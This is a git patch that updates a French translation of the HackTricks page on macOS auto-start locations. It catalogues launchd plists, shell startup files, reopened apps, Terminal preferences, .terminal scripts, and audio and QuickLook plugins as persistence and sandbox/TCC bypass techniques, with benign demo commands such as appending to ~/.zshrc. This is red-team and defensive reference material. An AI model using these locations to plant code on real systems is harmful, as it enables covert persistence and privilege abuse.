From cae0f7838c15285924e7ca3931b476f16c5adf6f Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 21 Sep 2024 18:24:59 +0000 Subject: [PATCH] Translated ['macos-hardening/macos-auto-start-locations.md', 'macos-hard --- SUMMARY.md | 3 +- macos-hardening/macos-auto-start-locations.md | 737 +++++++++--------- .../macos-sensitive-locations.md | 66 +- .../macos-security-protections/macos-macf.md | 268 +++++++ .../macos-users.md | 24 +- 5 files changed, 696 insertions(+), 402 deletions(-) create mode 100644 macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md diff --git a/SUMMARY.md b/SUMMARY.md index d457055e9..7b8ed8fc2 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -196,9 +196,10 @@ * [macOS Apple Scripts](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md) * [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md) * [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md) + * [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md) * [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md) * [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md) - * [macOS Users](macos-hardening/macos-security-and-privilege-escalation/macos-users.md) + * [macOS Users & External Accounts](macos-hardening/macos-security-and-privilege-escalation/macos-users.md) * [macOS Red Teaming](macos-hardening/macos-red-teaming/README.md) * [macOS MDM](macos-hardening/macos-red-teaming/macos-mdm/README.md) * [Enrolling Devices in Other Organisations](macos-hardening/macos-red-teaming/macos-mdm/enrolling-devices-in-other-organisations.md) diff --git a/macos-hardening/macos-auto-start-locations.md b/macos-hardening/macos-auto-start-locations.md index f454c89d6..a403e1cd2 100644 --- a/macos-hardening/macos-auto-start-locations.md +++ b/macos-hardening/macos-auto-start-locations.md @@ -1,70 +1,70 @@ -# DĂ©marrage automatique de macOS +# macOS Auto Start {% hint style="success" %} -Apprenez et pratiquez le piratage AWS :[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Apprenez et pratiquez le piratage GCP : [**Formation HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Soutenez HackTricks +Support HackTricks -* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)! -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Partagez des astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dĂ©pĂŽts GitHub. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -Cette section est fortement basĂ©e sur la sĂ©rie de blogs [**Au-delĂ  des bons vieux LaunchAgents**](https://theevilbit.github.io/beyond/), le but est d'ajouter **plus d'emplacements de dĂ©marrage automatique** (si possible), d'indiquer **quelles techniques fonctionnent toujours** de nos jours avec la derniĂšre version de macOS (13.4) et de spĂ©cifier les **autorisations** nĂ©cessaires. +Cette section est fortement basĂ©e sur la sĂ©rie de blogs [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), l'objectif est d'ajouter **plus d'emplacements de dĂ©marrage automatique** (si possible), d'indiquer **quelles techniques fonctionnent encore** de nos jours avec la derniĂšre version de macOS (13.4) et de spĂ©cifier les **permissions** nĂ©cessaires. -## Contournement de la sandbox +## Contournement de Sandbox {% hint style="success" %} -Ici, vous pouvez trouver des emplacements de dĂ©marrage utiles pour le **contournement de la sandbox** qui vous permettent simplement d'exĂ©cuter quelque chose en **l'Ă©crivant dans un fichier** et en **attendant** une **action trĂšs courante**, un **montant dĂ©terminĂ© de temps** ou une **action que vous pouvez gĂ©nĂ©ralement effectuer** depuis l'intĂ©rieur d'une sandbox sans avoir besoin de permissions root. +Ici, vous pouvez trouver des emplacements de dĂ©marrage utiles pour le **contournement de sandbox** qui vous permettent simplement d'exĂ©cuter quelque chose en **l'Ă©crivant dans un fichier** et en **attendant** une **action trĂšs** **courante**, une **durĂ©e dĂ©terminĂ©e** ou une **action que vous pouvez gĂ©nĂ©ralement effectuer** de l'intĂ©rieur d'une sandbox sans avoir besoin de permissions root. {% endhint %} ### Launchd * Utile pour contourner la sandbox : [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacements * **`/Library/LaunchAgents`** * **DĂ©clencheur** : RedĂ©marrage -* NĂ©cessite les droits root +* Root requis * **`/Library/LaunchDaemons`** * **DĂ©clencheur** : RedĂ©marrage -* NĂ©cessite les droits root +* Root requis * **`/System/Library/LaunchAgents`** * **DĂ©clencheur** : RedĂ©marrage -* NĂ©cessite les droits root +* Root requis * **`/System/Library/LaunchDaemons`** * **DĂ©clencheur** : RedĂ©marrage -* NĂ©cessite les droits root +* Root requis * **`~/Library/LaunchAgents`** -* **DĂ©clencheur** : Reconnexion +* **DĂ©clencheur** : Nouvelle connexion * **`~/Library/LaunchDemons`** -* **DĂ©clencheur** : Reconnexion +* **DĂ©clencheur** : Nouvelle connexion {% hint style="success" %} -En tant que fait intĂ©ressant, **`launchd`** a une liste de propriĂ©tĂ©s intĂ©grĂ©e dans la section Mach-o `__Text.__config` qui contient d'autres services bien connus que `launchd` doit dĂ©marrer. De plus, ces services peuvent contenir les propriĂ©tĂ©s `RequireSuccess`, `RequireRun` et `RebootOnSuccess` qui signifient qu'ils doivent ĂȘtre exĂ©cutĂ©s et terminĂ©s avec succĂšs. +En fait intĂ©ressant, **`launchd`** a une liste de propriĂ©tĂ©s intĂ©grĂ©e dans la section Mach-o `__Text.__config` qui contient d'autres services bien connus que launchd doit dĂ©marrer. De plus, ces services peuvent contenir les `RequireSuccess`, `RequireRun` et `RebootOnSuccess`, ce qui signifie qu'ils doivent ĂȘtre exĂ©cutĂ©s et se terminer avec succĂšs. -Bien sĂ»r, cela ne peut pas ĂȘtre modifiĂ© en raison de la signature du code. +Bien sĂ»r, cela ne peut pas ĂȘtre modifiĂ© en raison de la signature de code. {% endhint %} -#### Description et exploitation +#### Description & Exploitation -**`launchd`** est le **premier** **processus** exĂ©cutĂ© par le noyau OX S au dĂ©marrage et le dernier Ă  se terminer Ă  l'arrĂȘt. Il devrait toujours avoir le **PID 1**. Ce processus lira et exĂ©cutera les configurations indiquĂ©es dans les **plists** **ASEP** dans : +**`launchd`** est le **premier** **processus** exĂ©cutĂ© par le noyau OX S au dĂ©marrage et le dernier Ă  se terminer lors de l'arrĂȘt. Il doit toujours avoir le **PID 1**. Ce processus va **lire et exĂ©cuter** les configurations indiquĂ©es dans les **plists** **ASEP** dans : * `/Library/LaunchAgents` : Agents par utilisateur installĂ©s par l'administrateur -* `/Library/LaunchDaemons` : Daemons systĂšme installĂ©s par l'administrateur +* `/Library/LaunchDaemons` : Daemons Ă  l'Ă©chelle du systĂšme installĂ©s par l'administrateur * `/System/Library/LaunchAgents` : Agents par utilisateur fournis par Apple. -* `/System/Library/LaunchDaemons` : Daemons systĂšme fournis par Apple. +* `/System/Library/LaunchDaemons` : Daemons Ă  l'Ă©chelle du systĂšme fournis par Apple. -Lorsqu'un utilisateur se connecte, les plists situĂ©s dans `/Users/$USER/Library/LaunchAgents` et `/Users/$USER/Library/LaunchDemons` sont dĂ©marrĂ©s avec les **permissions des utilisateurs connectĂ©s**. +Lorsqu'un utilisateur se connecte, les plists situĂ©es dans `/Users/$USER/Library/LaunchAgents` et `/Users/$USER/Library/LaunchDemons` sont dĂ©marrĂ©es avec les **permissions des utilisateurs connectĂ©s**. -**La principale diffĂ©rence entre les agents et les daemons est que les agents sont chargĂ©s lorsque l'utilisateur se connecte et les daemons sont chargĂ©s au dĂ©marrage du systĂšme** (car il y a des services comme ssh qui doivent ĂȘtre exĂ©cutĂ©s avant que tout utilisateur n'accĂšde au systĂšme). De plus, les agents peuvent utiliser l'interface graphique tandis que les daemons doivent s'exĂ©cuter en arriĂšre-plan. +La **principale diffĂ©rence entre les agents et les daemons est que les agents sont chargĂ©s lorsque l'utilisateur se connecte et que les daemons sont chargĂ©s au dĂ©marrage du systĂšme** (car il y a des services comme ssh qui doivent ĂȘtre exĂ©cutĂ©s avant qu'un utilisateur n'accĂšde au systĂšme). De plus, les agents peuvent utiliser une interface graphique tandis que les daemons doivent s'exĂ©cuter en arriĂšre-plan. ```xml @@ -87,13 +87,13 @@ Lorsqu'un utilisateur se connecte, les plists situĂ©s dans `/Users/$USER/Library ``` -Il existe des cas oĂč un **agent doit ĂȘtre exĂ©cutĂ© avant la connexion de l'utilisateur**, ceux-ci sont appelĂ©s **PreLoginAgents**. Par exemple, cela est utile pour fournir une technologie d'assistance lors de la connexion. Ils peuvent Ă©galement ĂȘtre trouvĂ©s dans `/Library/LaunchAgents` (voir [**ici**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un exemple). +Il existe des cas oĂč un **agent doit ĂȘtre exĂ©cutĂ© avant que l'utilisateur ne se connecte**, ceux-ci sont appelĂ©s **PreLoginAgents**. Par exemple, cela est utile pour fournir une technologie d'assistance Ă  la connexion. Ils peuvent Ă©galement ĂȘtre trouvĂ©s dans `/Library/LaunchAgents` (voir [**ici**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un exemple). {% hint style="info" %} -Les nouveaux fichiers de configuration des Daemons ou Agents seront **chargĂ©s aprĂšs le prochain redĂ©marrage ou en utilisant** `launchctl load ` Il est **Ă©galement possible de charger des fichiers .plist sans cette extension** avec `launchctl -F ` (cependant, ces fichiers plist ne seront pas automatiquement chargĂ©s aprĂšs le redĂ©marrage).\ +De nouveaux fichiers de configuration de Daemons ou d'Agents seront **chargĂ©s aprĂšs le prochain redĂ©marrage ou en utilisant** `launchctl load `. Il est **Ă©galement possible de charger des fichiers .plist sans cette extension** avec `launchctl -F ` (cependant, ces fichiers plist ne seront pas chargĂ©s automatiquement aprĂšs le redĂ©marrage).\ Il est Ă©galement possible de **dĂ©charger** avec `launchctl unload ` (le processus pointĂ© par celui-ci sera terminĂ©), -Pour **s'assurer** qu'il n'y a **rien** (comme un remplacement) **empĂȘchant un** **Agent** ou **Daemon** **de** **s'exĂ©cuter**, exĂ©cutez : `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist` +Pour **s'assurer** qu'il n'y a **rien** (comme un remplacement) **empĂȘchant** un **Agent** ou un **Daemon** **de** **s'exĂ©cuter**, exĂ©cutez : `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist` {% endhint %} Listez tous les agents et daemons chargĂ©s par l'utilisateur actuel : @@ -101,94 +101,94 @@ Listez tous les agents et daemons chargĂ©s par l'utilisateur actuel : launchctl list ``` {% hint style="warning" %} -Si un plist est dĂ©tenu par un utilisateur, mĂȘme s'il se trouve dans des dossiers systĂšme de dĂ©mon, la **tĂąche sera exĂ©cutĂ©e en tant qu'utilisateur** et non en tant que root. Cela peut prĂ©venir certaines attaques d'escalade de privilĂšges. +Si un plist appartient Ă  un utilisateur, mĂȘme s'il se trouve dans des dossiers de dĂ©mon Ă  l'Ă©chelle du systĂšme, la **tĂąche sera exĂ©cutĂ©e en tant qu'utilisateur** et non en tant que root. Cela peut prĂ©venir certaines attaques d'escalade de privilĂšges. {% endhint %} -#### Plus d'informations sur launchd +#### Plus d'infos sur launchd -**`launchd`** est le **premier** processus en mode utilisateur qui est lancĂ© Ă  partir du **noyau**. Le dĂ©marrage du processus doit ĂȘtre **rĂ©ussi** et il ne peut pas **se terminer ou planter**. Il est mĂȘme **protĂ©gĂ©** contre certains **signaux de terminaison**. +**`launchd`** est le **premier** processus en mode utilisateur qui est dĂ©marrĂ© depuis le **noyau**. Le dĂ©marrage du processus doit ĂȘtre **rĂ©ussi** et il **ne peut pas quitter ou planter**. Il est mĂȘme **protĂ©gĂ©** contre certains **signaux de terminaison**. -Une des premiĂšres choses que `launchd` ferait est de **dĂ©marrer** tous les **dĂ©mons** comme : +L'une des premiĂšres choses que `launchd` ferait est de **dĂ©marrer** tous les **dĂ©mons** comme : * **DĂ©mons de minuterie** basĂ©s sur le temps Ă  exĂ©cuter : - * atd (`com.apple.atrun.plist`) : a un `StartInterval` de 30 minutes - * crond (`com.apple.systemstats.daily.plist`) : a `StartCalendarInterval` pour dĂ©marrer Ă  00:15 +* atd (`com.apple.atrun.plist`) : a un `StartInterval` de 30 minutes +* crond (`com.apple.systemstats.daily.plist`) : a `StartCalendarInterval` pour dĂ©marrer Ă  00:15 * **DĂ©mons rĂ©seau** comme : - * `org.cups.cups-lpd` : Écoute en TCP (`SockType: stream`) avec `SockServiceName: printer` - * `SockServiceName` doit ĂȘtre soit un port, soit un service de `/etc/services` - * `com.apple.xscertd.plist` : Écoute en TCP sur le port 1640 -* **DĂ©mons de chemin** qui sont exĂ©cutĂ©s lorsque le chemin spĂ©cifiĂ© change : - * `com.apple.postfix.master` : VĂ©rification du chemin `/etc/postfix/aliases` +* `org.cups.cups-lpd` : Ă©coute en TCP (`SockType: stream`) avec `SockServiceName: printer` +* SockServiceName doit ĂȘtre soit un port soit un service de `/etc/services` +* `com.apple.xscertd.plist` : Ă©coute en TCP sur le port 1640 +* **DĂ©mons de chemin** qui sont exĂ©cutĂ©s lorsqu'un chemin spĂ©cifiĂ© change : +* `com.apple.postfix.master` : vĂ©rifie le chemin `/etc/postfix/aliases` * **DĂ©mons de notifications IOKit** : - * `com.apple.xartstorageremoted` : `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` -* **Port Mach** : - * `com.apple.xscertd-helper.plist` : Il indique dans l'entrĂ©e `MachServices` le nom `com.apple.xscertd.helper` -* **UserEventAgent** : - * Ceci est diffĂ©rent du prĂ©cĂ©dent. Il fait en sorte que launchd lance des applications en rĂ©ponse Ă  des Ă©vĂ©nements spĂ©cifiques. Cependant, dans ce cas, le binaire principal impliquĂ© n'est pas `launchd` mais `/usr/libexec/UserEventAgent`. Il charge des plugins Ă  partir du dossier restreint SIP /System/Library/UserEventPlugins/ oĂč chaque plugin indique son initialiseur dans la clĂ© `XPCEventModuleInitializer` ou, dans le cas d'anciens plugins, dans le dictionnaire `CFPluginFactories` sous la clĂ© `FB86416D-6164-2070-726F-70735C216EC0` de son `Info.plist`. +* `com.apple.xartstorageremoted` : `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...` +* **Port Mach :** +* `com.apple.xscertd-helper.plist` : indique dans l'entrĂ©e `MachServices` le nom `com.apple.xscertd.helper` +* **UserEventAgent :** +* Cela est diffĂ©rent du prĂ©cĂ©dent. Cela fait que launchd lance des applications en rĂ©ponse Ă  un Ă©vĂ©nement spĂ©cifique. Cependant, dans ce cas, le binaire principal impliquĂ© n'est pas `launchd` mais `/usr/libexec/UserEventAgent`. Il charge des plugins depuis le dossier restreint SIP /System/Library/UserEventPlugins/ oĂč chaque plugin indique son initialiseur dans la clĂ© `XPCEventModuleInitializer` ou, dans le cas de plugins plus anciens, dans le dictionnaire `CFPluginFactories` sous la clĂ© `FB86416D-6164-2070-726F-70735C216EC0` de son `Info.plist`. -### Fichiers de dĂ©marrage de shell +### fichiers de dĂ©marrage shell -Analyse : [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\ -Analyse (xterm) : [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\ +Écriture (xterm) : [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/) -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button) -* Mais vous devez trouver une application avec un contournement de TCC qui exĂ©cute un shell qui charge ces fichiers +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +* Mais vous devez trouver une application avec un contournement TCC qui exĂ©cute un shell qui charge ces fichiers #### Emplacements * **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`** - * **DĂ©clencheur** : Ouvrir un terminal avec zsh +* **DĂ©clencheur** : Ouvrir un terminal avec zsh * **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`** - * **DĂ©clencheur** : Ouvrir un terminal avec zsh - * NĂ©cessite des droits root +* **DĂ©clencheur** : Ouvrir un terminal avec zsh +* Root requis * **`~/.zlogout`** - * **DĂ©clencheur** : Fermer un terminal avec zsh +* **DĂ©clencheur** : Quitter un terminal avec zsh * **`/etc/zlogout`** - * **DĂ©clencheur** : Fermer un terminal avec zsh - * NĂ©cessite des droits root +* **DĂ©clencheur** : Quitter un terminal avec zsh +* Root requis * Potentiellement plus dans : **`man zsh`** * **`~/.bashrc`** - * **DĂ©clencheur** : Ouvrir un terminal avec bash +* **DĂ©clencheur** : Ouvrir un terminal avec bash * `/etc/profile` (n'a pas fonctionnĂ©) * `~/.profile` (n'a pas fonctionnĂ©) * `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/` - * **DĂ©clencheur** : CensĂ© ĂȘtre dĂ©clenchĂ© avec xterm, mais il **n'est pas installĂ©** et mĂȘme aprĂšs installation, cette erreur est gĂ©nĂ©rĂ©e : xterm : `DISPLAY is not set` +* **DĂ©clencheur** : PrĂ©vu pour se dĂ©clencher avec xterm, mais il **n'est pas installĂ©** et mĂȘme aprĂšs installation, cette erreur est lancĂ©e : xterm : `DISPLAY is not set` #### Description & Exploitation -Lors de l'initialisation d'un environnement de shell tel que `zsh` ou `bash`, **certains fichiers de dĂ©marrage sont exĂ©cutĂ©s**. macOS utilise actuellement `/bin/zsh` comme shell par dĂ©faut. Ce shell est automatiquement accĂ©dĂ© lorsque l'application Terminal est lancĂ©e ou lorsqu'un appareil est accĂ©dĂ© via SSH. Bien que `bash` et `sh` soient Ă©galement prĂ©sents dans macOS, ils doivent ĂȘtre explicitement invoquĂ©s pour ĂȘtre utilisĂ©s. +Lors de l'initiation d'un environnement shell tel que `zsh` ou `bash`, **certains fichiers de dĂ©marrage sont exĂ©cutĂ©s**. macOS utilise actuellement `/bin/zsh` comme shell par dĂ©faut. Ce shell est automatiquement accessible lorsque l'application Terminal est lancĂ©e ou lorsqu'un appareil est accĂ©dĂ© via SSH. Bien que `bash` et `sh` soient Ă©galement prĂ©sents dans macOS, ils doivent ĂȘtre explicitement invoquĂ©s pour ĂȘtre utilisĂ©s. -La page de manuel de zsh, que nous pouvons lire avec **`man zsh`**, contient une longue description des fichiers de dĂ©marrage. +La page de manuel de zsh, que nous pouvons lire avec **`man zsh`**, a une longue description des fichiers de dĂ©marrage. ```bash # Example executino via ~/.zshrc echo "touch /tmp/hacktricks" >> ~/.zshrc ``` -### Applications RĂ©ouvertes +### Applications Rouverts {% hint style="danger" %} -Configurer l'exploitation indiquĂ©e et se dĂ©connecter et se reconnecter ou mĂȘme redĂ©marrer n'a pas fonctionnĂ© pour moi pour exĂ©cuter l'application. (L'application n'Ă©tait pas exĂ©cutĂ©e, peut-ĂȘtre qu'elle doit ĂȘtre en cours d'exĂ©cution lorsque ces actions sont effectuĂ©es) +Configurer l'exploitation indiquĂ©e et se dĂ©connecter puis se reconnecter ou mĂȘme redĂ©marrer n'a pas fonctionnĂ© pour moi pour exĂ©cuter l'application. (L'application n'Ă©tait pas exĂ©cutĂ©e, peut-ĂȘtre qu'elle doit ĂȘtre en cours d'exĂ©cution lorsque ces actions sont effectuĂ©es) {% endhint %} -**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) +**Écriture**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/) -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC : [🔮](https://emojipedia.org/large-red-circle) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +* Contournement TCC : [🔮](https://emojipedia.org/large-red-circle) #### Emplacement * **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`** -* **DĂ©clencheur** : RedĂ©marrer l'ouverture des applications +* **DĂ©clencheur** : RedĂ©marrer les applications rouverts #### Description & Exploitation -Toutes les applications Ă  rouvrir se trouvent dans le fichier plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` +Toutes les applications Ă  rouvrir se trouvent dans le plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist` -Ainsi, pour que les applications Ă  rouvrir lancent la vĂŽtre, vous devez simplement **ajouter votre application Ă  la liste**. +Donc, pour faire en sorte que les applications rouverts lancent la vĂŽtre, vous devez simplement **ajouter votre application Ă  la liste**. -L'UUID peut ĂȘtre trouvĂ© en listant ce rĂ©pertoire ou avec `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` +Le UUID peut ĂȘtre trouvĂ© en listant ce rĂ©pertoire ou avec `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` -Pour vĂ©rifier les applications qui seront rouvertes, vous pouvez faire : +Pour vĂ©rifier les applications qui seront rouverts, vous pouvez faire : ```bash defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin #or @@ -206,9 +206,9 @@ Pour **ajouter une application Ă  cette liste**, vous pouvez utiliser : ``` ### PrĂ©fĂ©rences du Terminal -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button) -* Le Terminal doit avoir les autorisations FDA de l'utilisateur qui l'utilise +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +* Utilisation du Terminal pour avoir les permissions FDA de l'utilisateur qui l'utilise #### Emplacement @@ -223,7 +223,7 @@ Par exemple, le Terminal peut exĂ©cuter une commande au dĂ©marrage :
-Cette configuration est reflĂ©tĂ©e dans le fichier **`~/Library/Preferences/com.apple.Terminal.plist`** de cette maniĂšre : +Cette configuration est reflĂ©tĂ©e dans le fichier **`~/Library/Preferences/com.apple.Terminal.plist`** comme ceci : ```bash [...] "Window Settings" => { @@ -239,9 +239,9 @@ Cette configuration est reflĂ©tĂ©e dans le fichier **`~/Library/Preferences/com. } [...] ``` -Donc, si le plist des prĂ©fĂ©rences du terminal dans le systĂšme pouvait ĂȘtre Ă©crasĂ©, alors la fonctionnalitĂ© **`open`** peut ĂȘtre utilisĂ©e pour **ouvrir le terminal et exĂ©cuter cette commande**. +Donc, si le plist des prĂ©fĂ©rences du terminal dans le systĂšme pouvait ĂȘtre Ă©crasĂ©, la fonctionnalitĂ© **`open`** peut ĂȘtre utilisĂ©e pour **ouvrir le terminal et cette commande sera exĂ©cutĂ©e**. -Vous pouvez ajouter ceci depuis la ligne de commande avec: +Vous pouvez ajouter cela depuis le cli avec : {% code overflow="wrap" %} ```bash @@ -254,22 +254,22 @@ Vous pouvez ajouter ceci depuis la ligne de commande avec: ``` {% endcode %} -### Scripts Terminal / Autres extensions de fichiers +### Scripts de terminal / Autres extensions de fichiers -* Utile pour contourner le bac Ă  sable: [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button) -* Utilisation du terminal pour avoir les autorisations FDA de l'utilisateur qui l'utilise +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +* Contournement TCC : [✅](https://emojipedia.org/check-mark-button) +* Utilisation du terminal pour avoir les permissions FDA de l'utilisateur qui l'utilise #### Emplacement -* **N'importe oĂč** -* **DĂ©clencheur**: Ouvrir le Terminal +* **Partout** +* **DĂ©clencheur** : Ouvrir le terminal #### Description & Exploitation -Si vous crĂ©ez un script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'**application Terminal** sera automatiquement invoquĂ©e pour exĂ©cuter les commandes indiquĂ©es. Si l'application Terminal a des privilĂšges spĂ©ciaux (comme TCC), votre commande sera exĂ©cutĂ©e avec ces privilĂšges spĂ©ciaux. +Si vous crĂ©ez un [**`.terminal`** script](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) et l'ouvrez, l'**application Terminal** sera automatiquement invoquĂ©e pour exĂ©cuter les commandes indiquĂ©es. Si l'application Terminal a des privilĂšges spĂ©ciaux (comme TCC), votre commande sera exĂ©cutĂ©e avec ces privilĂšges spĂ©ciaux. -Essayez avec: +Essayez-le avec : ```bash # Prepare the payload cat > /tmp/test.terminal << EOF @@ -300,42 +300,42 @@ open /tmp/test.terminal Vous pouvez Ă©galement utiliser les extensions **`.command`**, **`.tool`**, avec du contenu de scripts shell rĂ©guliers et ils seront Ă©galement ouverts par Terminal. {% hint style="danger" %} -Si le terminal a **l'AccĂšs complet au disque**, il pourra effectuer cette action (notez que la commande exĂ©cutĂ©e sera visible dans une fenĂȘtre de terminal). +Si le terminal a **AccĂšs Complet au Disque**, il pourra complĂ©ter cette action (notez que la commande exĂ©cutĂ©e sera visible dans une fenĂȘtre de terminal). {% endhint %} ### Plugins Audio -Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ -Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\ +Écriture : [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +* Contournement TCC : [🟠](https://emojipedia.org/large-orange-circle) * Vous pourriez obtenir un accĂšs TCC supplĂ©mentaire #### Emplacement * **`/Library/Audio/Plug-Ins/HAL`** -* NĂ©cessite les droits d'administrateur +* AccĂšs root requis * **DĂ©clencheur** : RedĂ©marrer coreaudiod ou l'ordinateur * **`/Library/Audio/Plug-ins/Components`** -* NĂ©cessite les droits d'administrateur +* AccĂšs root requis * **DĂ©clencheur** : RedĂ©marrer coreaudiod ou l'ordinateur * **`~/Library/Audio/Plug-ins/Components`** * **DĂ©clencheur** : RedĂ©marrer coreaudiod ou l'ordinateur * **`/System/Library/Components`** -* NĂ©cessite les droits d'administrateur +* AccĂšs root requis * **DĂ©clencheur** : RedĂ©marrer coreaudiod ou l'ordinateur #### Description -Selon les writeups prĂ©cĂ©dents, il est possible de **compiler certains plugins audio** et de les charger. +Selon les Ă©crits prĂ©cĂ©dents, il est possible de **compiler certains plugins audio** et de les charger. ### Plugins QuickLook -Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) +Écriture : [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/) -* Utile pour contourner le bac Ă  sable : [✅](https://emojipedia.org/check-mark-button) -* Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle) +* Utile pour contourner le sandbox : [✅](https://emojipedia.org/check-mark-button) +* Contournement TCC : [🟠](https://emojipedia.org/large-orange-circle) * Vous pourriez obtenir un accĂšs TCC supplĂ©mentaire #### Emplacement @@ -343,30 +343,30 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit. * `/System/Library/QuickLook` * `/Library/QuickLook` * `~/Library/QuickLook` -* `/Applications/NomApplicationIci/Contents/Library/QuickLook/` -* `~/Applications/NomApplicationIci/Contents/Library/QuickLook/` +* `/Applications/AppNameHere/Contents/Library/QuickLook/` +* `~/Applications/AppNameHere/Contents/Library/QuickLook/` #### Description & Exploitation -Les plugins QuickLook peuvent ĂȘtre exĂ©cutĂ©s lorsque vous **dĂ©clenchez l'aperçu d'un fichier** (appuyez sur la barre d'espace avec le fichier sĂ©lectionnĂ© dans Finder) et qu'un **plugin prenant en charge ce type de fichier** est installĂ©. +Les plugins QuickLook peuvent ĂȘtre exĂ©cutĂ©s 